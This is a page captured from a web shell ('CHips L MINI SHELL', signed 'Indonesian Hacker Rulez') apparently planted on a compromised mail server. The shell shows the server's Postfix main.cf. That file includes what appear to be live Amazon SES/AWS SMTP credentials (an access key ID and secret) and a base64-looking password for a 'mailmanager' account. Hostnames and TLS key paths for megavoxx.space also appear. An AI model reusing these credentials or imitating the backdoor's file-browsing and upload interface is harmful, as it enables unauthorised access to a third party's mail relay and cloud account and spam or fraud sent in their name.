CHips L MINI SHELL

CHips L pro

Current Path : /etc/postfix/
Upload File :
Current File : //etc/postfix/main.cf

# See /usr/share/postfix/main.cf.dist for a commented, more complete version


# Debian specific:  Specifying a file name will cause the first
# line of that file to be used as the name.  The Debian default
# is /etc/mailname.
#myorigin = /etc/mailname

smtpd_banner = $myhostname ESMTP $mail_name (Ubuntu)
biff = no

# appending .domain is the MUA's job.
append_dot_mydomain = no

# Uncomment the next line to generate "delayed mail" warnings
#delay_warning_time = 4h

readme_directory = no

# TLS parameters
#smtpd_tls_cert_file=/etc/letsencrypt/live/daswani.space/fullchain.pem
#smtpd_tls_key_file=/etc/letsencrypt/live/daswani.space/privkey.pem

smtpd_tls_cert_file = /home/ubuntu/ssl/mail.megavoxx.space.new2.crt
smtpd_tls_key_file = /home/ubuntu/ssl/mail.megavoxx.space.new2.key
smtpd_tls_CAfile = /home/ubuntu/ssl/mail.megavoxx.space.new.bundle.crt

smtpd_tls_security_level = may
smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache
smtpd_tls_session_cache_timeout = 600s

# See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for
# information on enabling SSL in the smtp client.

smtp_relay_restrictions = permit_mynetworks permit_sasl_authenticated 

myhostname = mail.megavoxx.space
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = /etc/mailname
mydestination = localmail.mail.megavoxx.space
smtp_use_tls = yes
#relayhost = [mail.smtp2go.com]:2525
relayhost = [email-smtp.us-west-2.amazonaws.com]:25
mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
mailbox_size_limit = 0
message_size_limit = 25000000
recipient_delimiter = +
inet_interfaces = all
maildrop_destination_recipient_limit = 1
virtual_transport = maildrop
smtpd_sasl_auth_enable = yes
smtpd_sasl_security_options = noanonymous
smtp_sasl_auth_enable = yes
smtp_sasl_security_options = noanonymous

#smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
#smtp_sasl_password_maps = static:mailmanager:ZnloZHFpeHQ5ajAw
smtp_sasl_password_maps = static:AKIAJDQUT5MYC7EYF72Q:AoVrbJGv6lrINXhwW8QC0pwgFGxStDRP6nd0w5l8UK/K
header_size_limit = 4096000
relay_destination_concurrency_limit = 20

smtpd_sasl_local_domain = $myhostname
smtpd_recipient_restrictions =
	check_recipient_access mysql:/etc/postfix/mysql-denied-recipients, hash:/etc/postfix/sender_access
#	check_sender_access hash:/etc/postfix/sender_access,
	permit_mynetworks, permit_sasl_authenticated, reject_unauth_destination, check_relay_domains
virtual_mailbox_domains = $virtual_mailbox_maps,
	mysql:/etc/postfix/mysql-virtual-domains
virtual_mailbox_maps = mysql:/etc/postfix/mysql-virtual-mailbox
virtual_alias_maps = $virtual_maps,
	hash:/etc/postfix/virtual-aliases
	mysql:/etc/postfix/mysql-aliases.cf
relay_domains = $mydestination

anvil_rate_time_unit = 24h
smtpd_client_message_rate_limit = 250
smtpd_client_recipient_rate_limit = 75


Copyright 2K16 - 2K18 Indonesian Hacker Rulez